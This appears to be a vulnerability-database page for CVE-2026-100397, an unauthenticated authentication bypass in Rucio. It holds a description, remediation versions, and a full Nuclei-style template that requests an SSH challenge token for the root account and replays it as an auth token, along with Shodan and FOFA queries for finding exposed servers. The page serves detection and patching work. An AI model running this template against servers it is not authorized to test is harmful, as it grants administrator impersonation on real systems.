CVE-2026-100397: Rucio - Authentication Bypass via SSH Challenge Token

2026-12-04 PoC Public

Description

Rucio versions prior to 35.9.1, 38.6.1, 40.4.2, and 41.1.1 store SSH challenge tokens in the authentication tokens table and accept them in validate_auth_token. Because GET /auth/ssh_challenge_token issues a short-lived challenge token for any existing account supplied in the X-Rucio-Account header without authentication, remote unauthenticated attackers can request a challenge token for an administrative account such as root and present it in X-Rucio-Auth-Token to impersonate that account.

Details

CVE
CVE-2026-100397 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-100397

info:
  name: Rucio - Authentication Bypass via SSH Challenge Token
  author: buurosaaqi-dev,thebatou
  severity: critical
  description: |
    Rucio versions prior to 35.9.1, 38.6.1, 40.4.2, and 41.1.1 store SSH challenge tokens in the authentication tokens table and accept them in validate_auth_token. Because GET /auth/ssh_challenge_token issues a short-lived challenge token for any existing account supplied in the X-Rucio-Account header without authentication, remote unauthenticated attackers can request a challenge token for an administrative account such as root and present it in X-Rucio-Auth-Token to impersonate that account.
  impact: |
    Unauthenticated attackers can impersonate arbitrary existing Rucio accounts, including root administrators, gaining unauthorized access to administrative APIs, account management, and distributed data orchestration.
  remediation: |
    Upgrade Rucio to version 35.9.1, 38.6.1, 40.4.2, 41.1.1, or later, which rejects challenge-* tokens during bearer token validation.
  reference:
    - https://github.com/rucio/rucio/security/advisories/GHSA-x585-4vv8-2mh2
    - https://github.com/rucio/rucio/commit/f5db3546d9c0de4642dc9aa52e6a6e447911d680
    - https://github.com/rucio/rucio/releases/tag/41.1.1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-100397
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-100397
    epss-score: 0.03018
    epss-percentile: 0.87855
    cwe-id: CWE-287,CWE-305
  metadata:
    verified: true
    vendor: rucio
    product: rucio
    shodan-query: title:"Rucio"
    fofa-query: title="Rucio"
  tags: cve,cve2026,rucio,auth-bypass,unauth

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /ping HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'regex("^\\s*\\{\\s*\"version\"\\s*:\\s*\"[0-9]+\\.[0-9]+", body)'
        condition: and
        internal: true

  - raw:
      - |
        GET /auth/ssh_challenge_token HTTP/1.1
        Host: {{Hostname}}
        X-Rucio-Account: root
        Accept: application/octet-stream

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(tolower(header), "x-rucio-ssh-challenge-token: challenge-", "x-rucio-ssh-challenge-token-expires:")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: challenge_token
        part: header
        group: 1
        regex:
          - '(?i)X-Rucio-SSH-Challenge-Token:\s*(challenge-[^\r\n\s]+)'
        internal: true

  - raw:
      - |
        GET /auth/validate HTTP/1.1
        Host: {{Hostname}}
        X-Rucio-Auth-Token: {{challenge_token}}
        Accept: application/octet-stream

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/octet-stream")'
          - "contains_all(body, \"'account':\", \"'root'\", \"'identity':\", \"'lifetime':\", \"'authz_scope':\")"
        condition: and
# digest: 4a0a00473045022100f25fc4a513353e7b66d0e972b54c10c9d5a807edb7086ee4ce5ef5337345cf1c02201099332c5f78daa8998d5f43c434a7ce6159b651d49624ce5c5fa9960a28cdd6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life